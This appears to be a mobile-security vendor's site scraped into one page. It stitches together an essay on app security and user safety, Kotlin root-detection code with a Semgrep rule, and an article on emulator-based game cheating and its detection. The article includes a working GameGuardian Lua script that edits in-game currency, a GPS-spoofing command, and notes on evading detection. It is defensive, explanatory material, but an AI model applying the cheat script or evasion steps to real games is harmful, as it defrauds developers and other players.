The size of the cybersecurity market was $3.5 billion in 2004. It is approaching $150 billion in 2021 and is expected to reach USD 352.25 billion by 2026. Regardless of such tremendous investments in this domain, the overall situation with security seems to be getting worse. So why isn’t the vast number of available technical solutions solving the cybersecurity problem?

What is wrong with Cybersecurity?

Ifwe ask an average technologically-minded manager in the security sector, we will get a simple answer. It is due to the low adoption of various brilliant tech solutions available on the market. Maybe… But isn’t this an over-simplified approach?

Suppose we want to radically improve cybersecurity and create a solution to gain mass user adoption. How would we get there? We must elaborate on the subject from different perspectives and go beyond the pure engineering view of security. Why?

One of the obstacles is that engineering-minded people tend to project the confusion in the problem statement onto users and explain the low adoption of security solutions by users’ ‘immaturity.’ On top of that, engineers quite often fall into an observation bias called the streetlight effect.

It is common for engineers to narrow the problem domain to a smaller segment that is more “comfortable” for research. They usually frame a problem, having in mind an “elegant” solution based on a “known” or “proven” technical framework. Meanwhile, the “core issue” may remain in the dark.

Technically minded people hate unclarity and vague problem statements. And it makes sense; we have to admit that otherwise, it is much harder to estimate and commit to the time needed for implementing the solution.

To tackle these problem statement misconceptions, we need to understand the difference between objective security issues and how users experience or perceive these problems. Remember the famous quote by Einstein “If I had an hour to solve a problem, I’d spend 55 minutes thinking about the problem and five minutes thinking about solutions.” Generally speaking, we can’t just leave the problem statement fully defined by engineering-minded people. We need to make sure that we address the root problems in the security domain and verify if the selected methods are relevant.

The best approach to combat biases and go to the core of the issue is philosophizing. For example, let’s take a closer look at security through the eyes of mobile app users.

Security, Freedom, and Safety

Usually, the word “security” has a positive connotation for engineers. A good solution is a secure solution. Isn’t it so, dear CTOs?

While users often have ambivalent feelings about security, most have just run into too many unpleasant situations due to security measures. Have you ever blocked your payment card by incorrectly typing your PIN several times? Then you probably know how annoying security measures can be.

The core reason that security evokes negative feelings is that security, by definition, implies some limitations on freedom or privacy. It is especially true if an external party has imposed such limits out of our direct control.

NB: We may not realize it but people are quite used to being limited in freedom for the sake of security. For example, most of us were limited in our activities by our parents protecting us from the dangers of the external world. Another example is luggage scans in airports that somewhat intrude on our feelings of privacy.

There is often a “good reason” behind these limits, and it is communicated to users as a tradeoff between security needs and user convenience. But still, we often feel that it is unbalanced and doesn’t work how it should.

NB: Just think for a while how many potentially good online and offline services you have stopped using just because of annoying security measures.

The notion of safety is very close in meaning to security. But safety is subjective, i.e., a person can feel secure, in contrast to security, which is presumed to be a generic and objective concept. This difference explains why safety is perceived much more positively. The conditions leading to feeling safe are individual. Individual safety conditions may even contradict security conditions. And vice versa, security measures can conflict with and harm the feeling of safety. For some people, safety would mean accepting a certain comfortable level of insecurity, taking risks, and relying on self-protection skills. For others, it would mean the delegation of security to a trusted party and sacrificing some portion of personal freedom and privacy.

There is an essential implication in the subjective quality of safety. When we feel safe, it doesn’t necessarily mean we are objectively secure, and threats are absent.

Let’s sum up and list a few conclusions we have come to by now:

Security is not equal to safety; security measures are generic while the conditions of feeling safe are individual;

Security measures could harm the feeling of individual safety when an external entity manages it. In this case, security limits the users’ freedom and privacy that can go beyond the individual comfort zone.

Practically, users desire individual safety but may not have the full picture about security threats;

Engineers usually push generic security but have limited visibility into individual safety preferences and how security measures may impact them;

Both users’ and engineering’s views are influential and should be bridged and reconciled. Though, it is much easier said than done.

Social Contract in the Apps world

Many bright minds and philosophers have tackled the Freedom and Security dilemma from the ancient Greeks till modern times. The concept of the social contract was introduced and elaborated on in the 17th-18th century (Thomas Hobbes, John Locke, Jean-Jacques Rousseau). The social contract is an unwritten rule or agreement within the society that is supposed to balance and regulate the level of acceptable compromise between personal freedom and limitations for security provided by institutions, the state, or ruling classes.

In democratic states, citizens should influence this contract through the election process. Let’s assume for now that this mechanism works fine, and we have some control over the contract… I know some of you might say: it’s imperfect, it has a time lag, it is vulnerable to populism, but it still works, and we’ve got no better mechanism so far.

But what about social contracts in our digital life? We also delegate security to some external entities (consciously or not), don’t we?

Let’s use metaphoric language to highlight the parallels and differences between digital and real-life security in a simple thought experiment.

Though experiment about imaginary Apps world

Let’s imagine people living in the digital world like a historical real-time strategy computer game, where every person is a “natural Intellect-driven” game unit. People are surrounded by wild nature and the circumstances of a middle-age period of human history. A very insecure place to live, isn’t it?

The people organized themselves and came up with a collective defense by creating fortresses in towns and dedicated security institutions. These institutions (like states) provided security services to citizens by building fortifications to protect them from enemies while limiting their freedom by introducing rules and taboos.

NB: Keep in mind that such security institutions always had a tendency to misuse the power of the function that they were delegated (security geeks would call this a bug in the system that leads to “elevation of privilege” due to an issue in the “segregation of rights”)

Initially, citizens could go straight to the marketplace. Now they are forced to go through the main gates, pass through some identity verification process, pay taxes, and so on.

Now let’s upgrade this imaginary world, and let’s say these people live in a Mobile Apps World, where every fortress-town is an App.

NB: It is actually not an oversaturated metaphor since people spend 80% of their average online time in Apps.

In reality, Apps are designed to be executed under the supervision of an operating system in a sandbox environment and isolated from other Apps and processes. In our imaginary App world, the operating system is like a state that governs the fortress towns (Apps).

The same as in real life, the protection of the basic set of citizens’ rights is regulated by such states (operating systems). But the actual level of security inside the fortress (App) is still designed by the fortress owners (App publishers). Let’s call them governors.

NB: There would be two dominant states with quite a different regime in our App world: the iOS Kingdom and Androidian Union.

Inhabitants of such a world can quickly jump over from one fortress to another within the state. They can sell products in the marketplace of eBay, keep their fortune in the Revolut fort, and fall asleep on the dirty streets of YouTube. Just like us.

Safety first not a security

In our imaginary App world, the fortress governors must take security very seriously since it is a matter of life and death in assumed middle-age conditions. Also, they are forced to take their citizens’ safety feelings even more seriously because it directly impacts the growth of the population, which is crucial for the economic success of the fortress-town.

Thus, the more financial resources a town has, the better security measures it can afford. So there is a positive feedback loop from users’ safety feelings to security. It doesn’t work vice versa. More severe security conditions harm the population growth, limiting freedom or causing too much discomfort. This is why it is always “safety first” in our imaginary App world in contrast to “security first” that we are pretty used to in our lives.

This also explains why governors can’t fully delegate the balance between security, freedom, and comfort to their subordinates (neither the army nor merchants ). It is an existential question for a given App that is just too important to be delegated. It is directly linked to the mission and economic model of the App fortress.

NB: Thus in the real world the safety strategy should form the “right” balance between freedom, security, and comfort for a given App. Top management shall define or at least arbitrate it. It can’t fully delegate it to marketing-minded or tech-minded subordinates.

Evidence of security 👁️

These imaginary people of the App world have an advantage over us. They can visually observe the security system of fortresses that they consider entering. They can assess the security of the fortress app by a visual evaluation of the walls, gates, towers, or soldiers’ weapons and armor. These town citizens have the luxury of having an evident reason to trust the fortress app. And these citizens can easily guess how responsible and capable the owner of this town is in terms of security.

NB: In the real world, we usually lack clarity on how an app is secured. We only rely on the app review process of the marketplaces and trust in the given brand. This makes a strong link between trust in the brand and individual safety perception of the App.

Real-world App issuers rarely go the extra mile of guiding users through the security benefits of the app and user safety best practices. So users intuitively extrapolate the overall app UX quality to its security. As a result, any glitch in the App harms the feeling of safety just because users expect that security is at the same or worse level of quality as UX. The visual communication of security features, tips, and warnings could detach the perception of security from the rest of the functionalities. This aspect would be an independent factor of comparison with the competitors in the user’s eyes.

NB: The critical advantage of communicating and visualizing the state of App security is that it can help to bridge the gap between the personal feeling of safety and the actual state of user protection.

Security warnings and tips can be presented to only those users that have flaws in their device protection according to in-App protection controls.

NB: In-App protection is a mobile security technology that allows mobile applications to check the security state of the environment that it runs within, actively counteract attack attempts, and control the integrity of the App. Such technology is also called RASP (Runtime App Self Protection) or App-Shielding.

Let’s take a brief look at the Android security statistics collected from 400K devices of mBanking users (in EU countries). To get a general feeling of what percentage of users would deserve some security-related guidance, i.e., they have some fundamental security issues.

  • About 21% of users ignore the Screen Lock functionality. It exposes users to the risk of misuse of Apps and data breaches if the device is lost, stolen, or used by kids.

  • About 38% of users don’t use biometrics (like fingerprint scan), while only 12% (48K out of 400K) don’t have this feature available in their device; biometrics is much safer than a password or PIN. Incidentally, using a biometric lock doesn’t mean that data shared with any app or the device’s backend.

  • 1112 users of 400K (0.28% have Rooted devices.). It means that the App integrity and its isolation sandbox can be compromised either through malware or by the user himself.

  • 381 devices ran the App in a debugger mode, and 151 devices ran an emulator. These all are signals of a reverse engineering attack if they are not in the hands of a legal development team.

  • 226 app instances have signs of app tampering (can indicate that the App was cloned, tampered, republished by an attacker, and a clone was installed).

Develop self-defense skills of users 🛡

Our imaginary governors know very well that an efficient defense should include more elements on top of the army and fortifications. Army and walls can probably protect from brute force attacks by barbarians, but it is much less efficient against traitors (aka fraudulent users in the real world), and can’t help against diseases caused by viruses (aka malware).

Fortress app owners could also realize that involving citizens in security affairs would increase the resilience of the town to large-scale problems while making the citizens more loyal and personally engaged.

That is why in the imaginary App world, governors should be very creative with educational activities, training, or performances explaining critical safety practices like how to detect scams and fraudsters, recognize suspicious activities of strangers, and hygiene rules to prevent epidemics.

So what I am pointing out is that businesses will implement user cybersecurity education and its visualization as an integral part of both the Security Journey and user loyalty programs soon.

NB: Some might say I don’t feel like educating my users about cybersecurity. Yes, it is quite a common view. I guess it was the same attitude among airline management before 1984. Since then, the pre-flight safety briefing has become mandatory and we are all quite used to watching the cabin crew demo every time we are about to take off.

Easiness to report an attack 🆘🕭

Every fortress owner in our imaginary world would need to get alarm messages in case an enemy army approaches his fortress. None of the governors would dare to underestimate this subject. It should be easy for citizens to send a signal, “We are under attack!”. That is why alarm bells are placed on every screen square of the app fortress .

In our real-life FinTech apps, it is bizarre, but the “Report abuse” feature is often well hidden. As if app managers prefer “it’s better not to know” that there is a leak in the hold. The most common approach is “in case of emergency, call the Hotline and enjoy the IVR music” and let the call center sort out the issue.

Many FinTech mobile app issuers would say, “well, we have a modern risk scoring and monitoring system that collects many security signals from the app like location, behavioral data of users, and many more to estimate the risk of fraud.” Indeed, many Apps use risk-based security. But the main problem of risk scoring systems is they suffer from a lack of factual information about ongoing attacks. In other words, they miss the “source of truth” of what attack vectors look like.” Risk scoring logic usually is designed based on the best knowledge of the given security team about potential attack vectors. At the same time, the creativity of cybercriminals has a much higher speed, so attack methods are changing much quicker than risk scoring logic.

On top of that, a significant portion of attacks addresses the weakest link in the security chain — humans. So it is hardly identifiable by automatic signals. So the best we can currently do is detect the scam campaign from user reports and quickly find the appropriate method to prevent it from becoming a large-scale attack.

Collective Cyber Defense

It is known that there is nothing more efficient against a common enemy than an alliance. In our App world, the governors of cities have much more chances of survival in the aggressive middle-age world if they join their efforts, i.e., form an alliance that implements the principles of a Collective Defense. The most crucial element in that collective defense is rapid information sharing about the enemy and how it is attacking.

In our real digital world, the quick distribution of detailed information about exploits is crucial (like malware binaries, scums, and zero-day vulnerabilities). In many cases, ML-driven mechanisms can automatically prevent many problems if they are trained by the “source of truth” information about the attack. Thus every reported attack can make the whole group more resilient.

It brings us to the question of which users would prefer to delegate the surveillance role and to who would they be happy to share the information about attacks? Is it governments, operating system vendors, device vendors, corporations like banks, small app issuers, professional communities, dedicated NGOs, etc.?

Summary

Let’s wrap up the takeaways of App security we touched on during this philosophizing exercise.

  • Safety first, not security. Safety is about making the “right” balance between freedom, security, and comfort. This topic can’t be fully delegated to marketing-minded or tech-minded middle management since it is a strategic brand development question.

  • App Security measures need to be visualized and explained for end-users to be perceived as safety elements and not just a security nuisance.

  • Engaging users in the Security Journey through educational content, gamification, and feedback (report issue), is an efficient way to gain loyalty and prevent many security-related problems.

  • Attack claims are a vital feature for building countermeasures. It should be simple and intuitive.

  • Consider joining the AppSec community to benefit and contribute.

Author: Sergiy Ykymchuk

Co-founder of Talsec (.)

Mobile Apps Security Company

P.S.

Startups generally aim to change the world with their Apps and “make an impact” and influence people. The depth of our responsibility determines our actual influence. We are designing and manifesting our future influence by setting the boundaries of responsibility that we take.

freeRASP
LinkedIn
Talsec
Talsec
Contact us
Timber
Paranoid
Paranoid
Timber
Talsec
Contact us
A Hacked App
[RootDetection.kt]

class RootDetection(private val context: Context) {

    companion object {
        private const val TAG = "RootCheck"
    }

    fun mastgTest(): String {
        return when {
            checkRootFiles() || checkSuperUserApk() || checkSuCommand() || checkDangerousProperties() -> {
                "Device is rooted"
            }
            else -> {
                "Device is not rooted"
            }
        }
    }

    private fun checkRootFiles(): Boolean {
        val rootPaths = setOf(
            "/system/app/Superuser.apk",
            "/system/xbin/su",
            "/system/bin/su",
            "/sbin/su",
            "/system/sd/xbin/su",
            "/system/bin/.ext/.su",
            "/system/usr/we-need-root/su-backup",
            "/system/xbin/mu"
        )
        rootPaths.forEach { path ->
            if (File(path).exists()) {
                Log.d(TAG, "Found root file: $path")
            }
        }
        return rootPaths.any { path -> File(path).exists() }
    }

    private fun checkSuperUserApk(): Boolean {
        val superUserApk = File("/system/app/Superuser.apk")
        val exists = superUserApk.exists()
        if (exists) {
            Log.d(TAG, "Found Superuser.apk")
        }
        return exists
    }

    private fun checkSuCommand(): Boolean {
        return try {
            val process = Runtime.getRuntime().exec(arrayOf("which", "su"))
            val reader = BufferedReader(InputStreamReader(process.inputStream))
            val result = reader.readLine()
            if (result != null) {
                Log.d(TAG, "su command found at: $result")
                true
            } else {
                Log.d(TAG, "su command not found")
                false
            }
        } catch (e: IOException) {
            Log.e(TAG, "Error checking su command: ${e.message}", e)
            false
        }
    }

    private fun checkDangerousProperties(): Boolean {
        val dangerousProps = arrayOf("ro.debuggable", "ro.secure", "ro.build.tags")
        dangerousProps.forEach { prop ->
            val value = getSystemProperty(prop)
            if (value != null) {
                Log.d(TAG, "Dangerous property $prop: $value")
                if (value.contains("debug")) {
                    return true
                }
            }
        }
        return false
    }

    private fun getSystemProperty(prop: String): String? {
        return try {
            val process = Runtime.getRuntime().exec(arrayOf("getprop", prop))
            val reader = BufferedReader(InputStreamReader(process.inputStream))
            reader.readLine()
        } catch (e: IOException) {
            Log.e(TAG, "Error checking system property $prop: ${e.message}", e)
            null
        }
    }
}
[root-detection.yml]

rules:
 - id: root-detection
   languages: [java, kotlin]
   severity: INFO
   message: Root detection mechanisms have been identified in this application.
   patterns:
     - pattern-either:
         - pattern: File("/system/app/Superuser.apk").exists()
         - pattern: File("/system/xbin/su").exists()
         - pattern: File("/system/bin/su").exists()
         - pattern: File("/sbin/su").exists()
         - pattern: File("/system/sd/xbin/su").exists()
         - pattern: File("/system/bin/.ext/.su").exists()
         - pattern: File("/system/usr/we-need-root/su-backup").exists()
         - pattern: File("/system/xbin/mu").exists()
         - pattern: Runtime.getRuntime().exec("which su")
         - pattern: Runtime.getRuntime().exec(arrayOf("which", "su"))
         - pattern: Runtime.getRuntime().exec(arrayOf("getprop", "ro.debuggable"))
         - pattern: Runtime.getRuntime().exec(arrayOf("getprop", "ro.secure"))
         - pattern: Runtime.getRuntime().exec(arrayOf("getprop", "ro.build.tags"))
         - pattern: Runtime.getRuntime().exec($_)
     - pattern-not: |
         try {
           Runtime.getRuntime().exec($_);
         } catch (Exception e) {
           $_;
         }
┌────────────────┐
│ 1 Code Finding │
└────────────────┘
                           
    RootDetection_reversed.java
     ❱ rules.root-detection
          Root detection mechanisms have been identified in this application.
                                                                             
           65┆ Process process = Runtime.getRuntime().exec(new String[]{"which", "su"});

root detection
freeRASP
RASP+
What Is the Concept of Rooting/Privileged Access and Their Risks?
What is Root Detection?
RASP+
Talsec glossary page

Martin Žigrai - OWASP MAS contributor, Talsec Mobile Security Engineer

freeRASP
.class public Lcom/example/MainActivity;
.super Landroid/app/Activity;
  
.method public onCreate(Landroid/os/Bundle;)V
    .locals 1
    .prologue
        .line 10
        invoke-static {}, Lcom/example/Helper;->doSomething()V
    .line 11
        const-string v0, "Hello, world!"
    .line 12
        invoke-static {v0}, Landroid/util/Log;->i(Ljava/lang/String;)I
    .line 13
        return-void
.end method
.class public Lcom/example/MainActivity;
.super Landroid/app/Activity;

.method public onCreate(Landroid/os/Bundle;)V
    .locals 2

    .prologue
    .line 10
    const-string v0, "https://www.example.com"

    .line 11
    invoke-static {v0}, Landroid/net/Uri;->parse(Ljava/lang/String;)Landroid/net/Uri;

    move-result-object v0

    .line 12
    new-instance v1, Landroid/content/Intent;

    .line 13
    const-string v2, "android.intent.action.VIEW"

    invoke-direct {v1, v2, v0}, Landroid/content/Intent;-><init>(Ljava/lang/String;Landroid/net/Uri;)V

    .line 14
    invoke-virtual {p0, v1}, Lcom/example/MainActivity;->startActivity(Landroid/content/Intent;)V

    .line 15
    return-void
.end method
link
link
apktool
V1: Architecture, Design and Threat Modeling Requirements
V2: Data Storage and Privacy Requirements
V3: Cryptography Requirements
V4: Authentication and Session Management Requirements
V5: Network Communication Requirements
V6: Platform Interaction Requirements
V7: Code Quality and Build Setting Requirements
V8: Resilience Requirements
AppiCrypt
AppiCrypt
reFlutter
Burp Suite
freeRASP
blogpost
https://mas.owasp.org/MASVS/Intro/0x03-Using_the_MASVS/
https://pub.dev/packages/freerasp
MainActivity.smali is present in every Flutter Android app
3 MASVS security verification levels are established for verification of mobile app’s security based on prior risk assessment and overall level of security required
OWASP MASVS, MASTG and Checklist
freeRASP is a community RASP project featuring fundamental RASP checks (https://pub.dev/packages/freerasp)
https://talsec.app
🕭
https://talsec.app
Freedom vs. Security
Social Contract
Android and iOS “states”

Emulators in Gaming: Threats and Detections

Key Takeaways:

  • Emulators have both good and bad uses—they help developers test apps but also allow unfair advantages in games.

  • Common cheating methods include automation, running multiple game accounts, GPS spoofing, and memory hacks.

  • Game developers use different detection techniques, but cheaters always try to stay ahead.

  • Most importantly: There’s almost a perfect protection solution—AppiCrypt and Talsec RASPs!


Mobile gaming isn’t just small games played during pause—it’s a billion-dollar competitive industry. In 2024, the global mobile gaming market generated approximately $92.6 billion in revenue, accounting for nearly half of the total gaming market. Projections indicate that this figure will continue to rise, with expectations to reach $105.7 billion by the end of 2025.

A significant portion of this revenue comes from free-to-play (F2P) games. In 2024, F2P mobile games alone generated an estimated $83.21 billion globally. This model has become the industry standard, with 82% of mobile gamers preferring free games that include ads over paid games without ads [4].

As mobile gaming grows, so does the challenge of keeping it fair. Some players look for shortcuts, using cheats and hacks to gain an edge. One way to use these exploits? Emulators. What is an emulator, how can it be misused, and how can we protect against the threats it poses?

Emulators and Their Usage

Let’s start with a technical talk. An emulator is software that acts like a real device. It allows a computer to run apps meant for another system—no original hardware required. Want to play an old Nintendo game on your PC? No problem. Need to develop an Android app but don’t have a physical device? An emulator makes that happen. The main properties of emulators include:

  • Running guest software

Emulators allow the host system to run software and applications designed for the guest system without requiring the original hardware.

  • Data separation

Emulators typically keep the data of the host and guest systems separated. This is important for system integrity and security.

  • System observation

Emulators often allow users to observe the data and memory of the guest system. This is particularly useful for debugging and memory analysis.

  • Hardware manipulation

Emulators often also simulate guest system hardware; therefore, guest hardware can be manipulated.

Common Use Cases

It's important to point out that using an emulator alone doesn't necessarily imply malicious intent. Developers, researchers, security analysts, and even ordinary users may have a valid reason to use emulators. Most typical use cases are:

  • App/Game Development & Testing

Developers use emulators such as Android Studio Emulator and Genymotion to test their applications across multiple devices without physical hardware. This allows them to provide well-tested and optimised applications without requiring hundreds of physical devices.

  • Security Research

Beyond development, emulators play a huge role in security research. Ethical hackers and researchers (like us in Talsec) use them to test app vulnerabilities in a controlled environment, with deeper memory access than a standard phone allows.

  • Gameplay Enhancement

Gamers have found their own uses too. Emulators like BlueStacks, LDPlayer, and NoxPlayer let people play mobile games on PCs, often with better performance and additional features.

  • Multi-Instancing

Some gaming emulators, such as MuMu Player, allow users to run multiple app/game instances simultaneously, facilitating activities like account farming. With a physical device, this would be more complicated (but still possible).

There are tons of emulators out there: BlueStacks, LDPlayer, NoxPlayer, MuMu Player, QEMU, and more. While they all serve the same purpose (emulation), each is designed for different use cases and offers unique features that make them more accessible to less experienced users.

This variety makes detection tricky, especially since some emulators have built-in hiding features that make them appear like real devices.

Threats and Attacks Enabled by Emulators

But emulators aren’t just for developers and tech enthusiasts—cheaters love them too. They can use them to bend the rules, exploit game mechanics, and automate tasks to gain an unfair edge. From auto-clickers to fake GPS locations, emulators can give players an unfair edge, making games less fun for everyone else.

This article focuses on Android emulators. However, the techniques presented may apply to any emulator on any platform

Input Automation (Scripting) & Macro Abuse

People are naturally competitive—they want to be the best, win, and prove their skills. Gaming is no different. Whether it’s casual trash talk or heated debates about who’s a pro and who’s a noob, competition is at the heart of it. So it’s no surprise that players look for any way to gain an advantage (or “skill”).

One way to do that in mobile gaming is by changing the tools you play with. Some believe that using a keyboard, mouse, or gamepad instead of touchscreen controls makes all the difference. Therefore, many emulators allow users to map touchscreen controls (screen coordinates) to a keyboard, mouse, or gamepad. This enables faster, more efficient, and more precise actions compared to an average mobile player.

Additionally, some emulators offer macro functionality, letting players record and repeat actions automatically—no need to tap the same button over and over when a script can do it perfectly every time. More advanced tools can even go beyond simple inputs, automating entire tasks like auto-clicking, switching apps, or turning system features like Wi-Fi and GPS on and off.

Examples of Exploits and Cheating

  • Action Automation

In time-based games, players can wait and collect resources by hand, manipulate time (speed hack - more on that later) or automate waiting and resource collection.

  • An unfair advantage in FPS games

While some games officially support alternative input methods, others strictly enforce touchscreen-only controls. The debate between “touchscreen-only” and “any input method” is often heated, especially in competitive FPS games (PUBG, CoD)

Multi-Instance Abuse

Gaming-focused emulators also often have multi-instance feature. This allows players to run multiple instances of the same game, oftentimes simultaneously. Players can control multiple player accounts at once. Main techniques of multi-instancing are:

  • Manifest File

Since Android 12, developers may enable multi-instance support via the app's manifest file.

  • Work Profile

Work Profile is a feature of Android which allows users to separate personal and work-related apps, data and settings on the same device by creating a secure container. Each work profile has its own user ID, creating a distinct environment that keeps data isolated

  • Third-Party Apps

Tools like Parallel Space contains a special virtualization engine which creates a separate environment for running cloned apps. It also uses proxy components and Android calls interceptions to handle this.

  • App Cloning

App cloning works by modifying the package name of the application. Android then sees these applications as separate.

  • Manufacturer feature

Manufacturers like Samsung or Xiaomi provide this feature on a system level. Implementation of this may vary between each technology.

Examples of Exploits and Cheating

  • Resource Farming

The other account can be used for resource farming which will be then transferred to main account.

  • Matchmaking Manipulation

A high-level account can team up with low-level, possibly manipulating how high (or low in this case) will be levels of other players.

  • Botnets/Emulator Farms

Players may generate unlimited in-game referral rewards by creating multiple instances of application and accounts.

GPS Spoofing

GPS spoofing is faking a device's location by overriding or manipulating its GPS data. This is typically achieved on Android by hooking system APIs, using developer options, feeding system services with fake data, or even low-level modifications. There are a few ways to fake the GPS signal:

  • Android Developer Options (Mock Locations)

Android has a built-in feature which allows you to mock locations. When enabled, location API are intercepted and real GPS data are replaced with fake coordinates.

  • Intercepting System Calls

Xposed Framework with FakeGPS module can hook into Android system calls and modify GPS data. This only works on rooted devices.

  • Spoofing via System Modification

    • Modifying system files

    Some emulators allow modifying the /system/etc/gps.conf file to inject fake satellite data.

    • Using Virtual Machine

    Genymotion allows GPS spoofing via Genymotion Shell (gmsaas):

gmsaas instances set-location <instance_id> 40.7128 -74.0060

Memory Scraping

One way to gain an unfair advantage in a game is by modifying stats or acquiring items that would otherwise be unobtainable. This can be achieved through memory scraping, a technique used to scan and extract data directly from a system’s RAM (random-access memory) while it is being processed. Memory scraping is commonly used by both ethical security researchers and malicious attackers to analyse applications. Beyond reading data, it can also be used to modify data at runtime.

Memory scraping can be used for:

  • Game Hacking

Tools like GameGuardian or CheatEngine use memory scraping to find and modify in-game values, such as health, currency, or character stats.

  • Malware & Cybercrime

RAM scrapers are used in malware—such as point-of-sale (POS) threats like BlackPOS—to steal unencrypted credit card data before it is securely transmitted.

  • Security Research

Ethical hackers use memory scraping to test software security, detect vulnerabilities and improve system protections.

How Memory Scraping Works

  • Scanning RAM

A program searches the system’s memory for specific patterns, such as game variables, passwords, or credit card numbers.

  • Extracting Data

Once the desired information is found, it is copied from memory before it is encrypted, modified, or removed.

  • Processing and Storage

The extracted data can be logged, altered, or transmitted to an external server for further use. Game Manipulation

GameGuardian

GameGuardian is a game hacking tool for Android that allows users to modify in-game values by directly altering memory data. By scanning and editing memory addresses, players can adjust in-game currency, speed, health, and other parameters in real-time. It operates through a floating overlay, making it accessible while running a game.

Key Features & Use Cases

  • Memory Scanning & Value Editing:

Users can search for specific numerical values (e.g., coins, XP) and modify them for an advantage. It supports fuzzy searches for unknown values and encrypted data.

  • Scripting & Automation:

GameGuardian supports Lua scripting, allowing users to create and run automated cheats, bot functions, or repetitive tasks.

  • Evasion Techniques:

To bypass anti-cheat mechanisms or license restrictions, GameGuardian includes stealth modes, memory protection features, and randomization techniques, making detection more challenging.

GG Scripting

What makes GG really powerful is scripting. Users can dump and modify memory by hand, using tools provided by GG application. However, this can be quite tedious. Scripting automates memory modifications, making it easier to apply cheats without manually searching and changing values every time a game is launched. This is particularly useful for repetitive hacks, bot automation, and complex multi-step exploits.

GameGuardian provides a built-in Lua API, which interacts with game memory. Key functions include:

gg.alert(message): Displays a pop-up message.

  • gg.searchNumber(value, type): Searches for a specific value in memory.

  • gg.getResults(count): Retrieves a set number of search results.

  • gg.editAll(value, type): Modifies all matching results.

  • gg.setValues(table): Applies specific changes to memory addresses.

  • gg.sleep(time): Introduces a delay in script execution.

Script Example

-- Search for 1000 in memory (assuming currency value is stored as DWORD)
gg.searchNumber("1000", gg.TYPE_DWORD)
local results = gg.getResults(10) -- Retrieve the top 10 results

-- Modify each result found
for i, v in ipairs(results) do
    v.value = 999999  -- Change currency to 999999
end

gg.setValues(results) -- Apply modifications
gg.alert("Currency updated successfully!") -- Notify user

CheatEngine is a similar tool that works for other platforms, not just Android.

Examples of Exploits and Cheating

  • Infinite Resources: Modifying in-game currency, lives, or skill points to unlimited amounts.

  • Speed Hacks: Altering game speed to slow down or speed up gameplay for an unfair advantage.

  • God Mode: Adjusting health, attack and other parameters to make character invincible

  • Wallhacks & Vision Modification: Changing rendering parameters to see through walls or reveal hidden elements.

  • Time Manipulation: Altering in-game timers to shorten cooldowns or bypass waiting mechanics.

  • Auto Farming Bots: Using scripts to automate repetitive tasks such as collecting resources or attacking enemies.

Detecting Emulators

As discussed in the previous section, spotting an emulator isn’t as easy as you’d think. Some stick out like a sore thumb, while others go undercover, pretending to be real phones. Game developers and security researchers have to play detective, using system checks, behavior tracking, and file inspections to catch them in action.

Detection Techniques: How it can be done

System Properties Checks

Emulators often exhibit distinct system properties that differentiate them from real devices. These include:

  • Hardware Identifiers Many emulators report generic values (e.g., ro.hardware = goldfish or ro.product.manufacturer = Genymotion).

  • Device Model Unusual models such as sdk_gphone_x86 indicate an emulated environment.

  • Build Fingerprints Comparing ro.build.fingerprint against known emulator values helps identify virtualized environments.

File and Directory Checks

Emulators create specific files and directories that do not exist on real devices. Examples include:

  • /dev/qemu_pipe

  • /sys/class/android_usb/android0/state

  • Emulator configuration files in /proc/ or /system/lib/

Behavioral Analysis

Certain runtime behaviors can indicate emulation:

  • Input Patterns: Automated, predictable touch events may signal bot activity Tapping too long/short; one tap always takes an exact constant amount of time; scrolling speed is perfectly even, scroll direction is a perfect straight line,...

  • Performance Metrics: Emulators often lack genuine hardware performance fluctuations Mobile/Wi-Fi signal always has same perfect intensity; battery is always 100% even when not charged for weeks and months,...

  • Sensor Data: Lack of real accelerometer, HW-backed keystore, gyroscope, or GPS variation suggests emulation. Missing basic components like accelerometer or gyroscope; missing HW-backed keystore (also serious because of cryptography); sensors return perfect or very predictable data,...

Advanced Detection Methods

  • Side-Channel Analysis: Detecting emulator-specific timing discrepancies, cache behavior, or instruction execution anomalies.

  • Machine Learning: AI models trained on real vs. emulated device data can detect subtle differences more effectively.

Detection Techniques: Shortcut

Detecting emulators is a complex and ever-evolving challenge. Developers can implement detection techniques manually, but this comes with significant drawbacks.

1. High Complexity & Maintenance Writing emulator detection from scratch requires deep knowledge of system behavior, hardware properties, and low-level interactions. Even a small mistake can lead to false positives (flagging real devices as emulators) or false negatives (failing to detect actual emulators).

2. Constant Updates Needed Emulator developers continuously refine their software to better mimic real devices. A detection system that works today may become obsolete in just a few months. Keeping up with new emulator tricks and evasion techniques is an ongoing battle.

3. Integration Challenges Emulator detection is only one piece of a larger security strategy. It needs to be efficient, lightweight, and compatible with other anti-cheat or anti-fraud measures in an app.

Because of these challenges, many companies choose ready-made security solutions rather than building their own. These solutions are designed, tested, and frequently updated to stay ahead of the latest emulator advancements.

Talsec RASP

One such solution is Runtime Application Self-Protection (RASP), which helps apps detect and react to security threats in real-time. RASP can:

  • Identify if an app is running in an emulator or virtualized environment.

  • Detect signs of system tampering or unauthorized modifications.

  • Block or limit app functionality when a threat is detected.

  • Detect other kinds of problems like active VPN, screen recording or enabled development mode

Talsec offers a free community version of its detection system (freeRASP), which covers the basics of app security.

Cat and Mouse: Detecting detections Attackers use various methods to bypass emulator detection, including:

  • Modifying System Properties: Tools like Magisk can spoof ro.build.fingerprint and other properties.

  • Masking Emulator Presence: Xposed modules and custom ROM modifications can remove emulator-specific files and directories.

  • Disabling Protections: When attackers are aware that an application uses an extra protection layer, such as RASP library or DRM, they often try to use methods mentioned above (like memory scraping or application repackaging) to disable these detections.

  • Challenges and Limitations: Detection methods can yield false positives, impacting legitimate users. Moreover, advanced evasion techniques continue to evolve, requiring adaptive detection mechanisms.

Talsec AppiCrypt

Talsec RASP provides an additional layer of protection against its bypass by using AppiCrypt. AppiCrypt is protection which essentially binds the state of the device to network calls of application. Every network request protected by AppiCrypt requires cryptographic proof (called cryptogram) which contains the security state of the device. If an application or device is compromised, the cryptogram will contain this information. The server can then decide whether it allows or denies the request. If the Talsec SDK is totally disabled, the application cannot generate cryptograms, hence not being able to make network calls.

Conclusion: The Double-Edged Sword of Emulators

Emulators are powerful tools that let people run mobile apps on different devices, making them useful for app development, security research, and gaming convenience. However, they also open the door for cheating and security risks, as they allow players to automate actions, fake locations, and manipulate game data in ways that aren’t possible on real devices.

Game developers and security experts are in a constant battle against cheaters. As emulators evolve, so do the methods to detect them. There’s no perfect solution, but staying ahead of the game is what matters. The future of mobile gaming depends on staying one step ahead—where innovation meets security, and fair play always wins.

Key Takeaways:

  • Emulators have both good and bad uses—they help developers test apps but also allow unfair advantages in games.

